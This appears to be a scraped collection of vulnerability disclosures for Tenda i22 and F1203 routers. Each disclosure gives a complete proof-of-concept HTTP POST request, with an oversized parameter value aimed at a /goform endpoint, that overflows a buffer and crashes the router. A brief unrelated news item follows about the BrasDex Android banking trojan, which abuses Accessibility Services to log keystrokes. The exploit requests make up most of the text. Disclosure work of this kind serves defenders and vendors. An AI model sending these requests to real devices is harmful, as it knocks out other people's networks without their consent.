Tenda i22 V1.0.0.3(4687) was discovered to contain a buffer overflow via the list parameter in the formwrlSSIDset function.

Tenda Router **i22 V1.0.0.3(4687)** was discovered to contain a buffer overflow in the httpd module when handling /goform/wifiSSIDset request.

This vulnerability lies in the /goform/wifiSSIDset page，The details are shown below:

This POC can result in a Dos.

    POST /goform/wifiSSIDset HTTP/1.1
    Host: 192.168.204.133
    Content-Length: 2068
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.204.133
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.204.133/system_hostname.asp?version=1487847846
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: bLanguage=cn; password=jbl1qw; user=
    Connection: close
    
    wl_radio=0&index=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

CVE-2022-45666: CVE-vulns/formwrlSSIDset.md at main · Double-q1015/CVE-vulns

Tenda F1203 V2.0.1.6 was discovered to contain a buffer overflow via the deviceId parameter at /goform/addWifiMacFilter.

Tenda Router **F1203 V2.0.1.6** was discovered to contain a buffer overflow in the httpd module when handling /goform/addWifiMacFilter request.

This vulnerability lies in the /goform/addWifiMacFilter page，The details are shown below:

This POC can result in a Dos.

    POST /goform/addWifiMacFilter HTTP/1.1
    Host: 192.168.204.143
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: user=admin
    Connection: close
    Content-Length: 4111
    
    deviceId=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

CVE-2022-46531: CVE-vulns/addWifiMacFilter_deviceId.md at main · Double-q1015/CVE-vulns

Tenda F1203 V2.0.1.6 was discovered to contain a buffer overflow via the deviceMac parameter at /goform/addWifiMacFilter.

Tenda Router **F1203 V2.0.1.6** was discovered to contain a buffer overflow in the httpd module when handling /goform/addWifiMacFilter request.

This vulnerability lies in the /goform/addWifiMacFilter page，The details are shown below:

This POC can result in a Dos.

    POST /goform/addWifiMacFilter HTTP/1.1
    Host: 192.168.204.143
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: user=admin
    Connection: close
    Content-Length: 4111
    
    deviceMac=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

CVE-2022-46532: CVE-vulns/addWifiMacFilter_deviceMac.md at main · Double-q1015/CVE-vulns

Tenda F1203 V2.0.1.6 was discovered to contain a buffer overflow via the mac parameter at /goform/GetParentControlInfo.

Tenda Router **F1203 V2.0.1.6** was discovered to contain a buffer overflow in the httpd module when handling /goform/GetParentControlInfo request.

This vulnerability lies in the /goform/GetParentControlInfo page，The details are shown below:

This POC can result in a Dos.

    POST /goform/GetParentControlInfo HTTP/1.1
    Host: 192.168.204.143
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: user=admin
    Connection: close
    Content-Length: 2055
    
    mac=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

CVE-2022-46530: CVE-vulns/GetParentControlInfo.md at main · Double-q1015/CVE-vulns

The threat actors behind the Windows banking malware known as Casbaneiro has been attributed as behind a novel Android trojan called BrasDex that has been observed targeting Brazilian users as part of an ongoing multi-platform campaign.
BrasDex features a "complex keylogging system designed to abuse Accessibility Services to extract credentials specifically from a set of Brazilian targeted apps,

Banking Malware / Mobile Security

The threat actors behind the Windows banking malware known as **Casbaneiro** has been attributed as behind a novel Android trojan called **BrasDex** that has been observed targeting Brazilian users as part of an ongoing multi-platform campaign.

BrasDex features a "complex keylogging system designed to abuse Accessibility Services to extract credentials specifically from a set of Brazilian targeted apps, as well as a highly capable Automated Transfer System (ATS) engine," ThreatFabric said in a report published last week.

The Dutch security firm said that the command-and-control (C2) infrastructure used in conjunction with BrasDex is also being used to control Casbaneiro, which is known to strike banks and cryptocurrency services in Brazil and Mexico.

The hybrid Android and Windows malware campaign is estimated to have resulted in thousands of infections to date.

BrasDex, which masquerades as a banking app for Banco Santander, is also emblematic of a new trend that involves abusing Android's Accessibility APIs to log keystrokes entered by the victims, moving away from the traditional method of overlay attacks to steal credentials and other personal data.

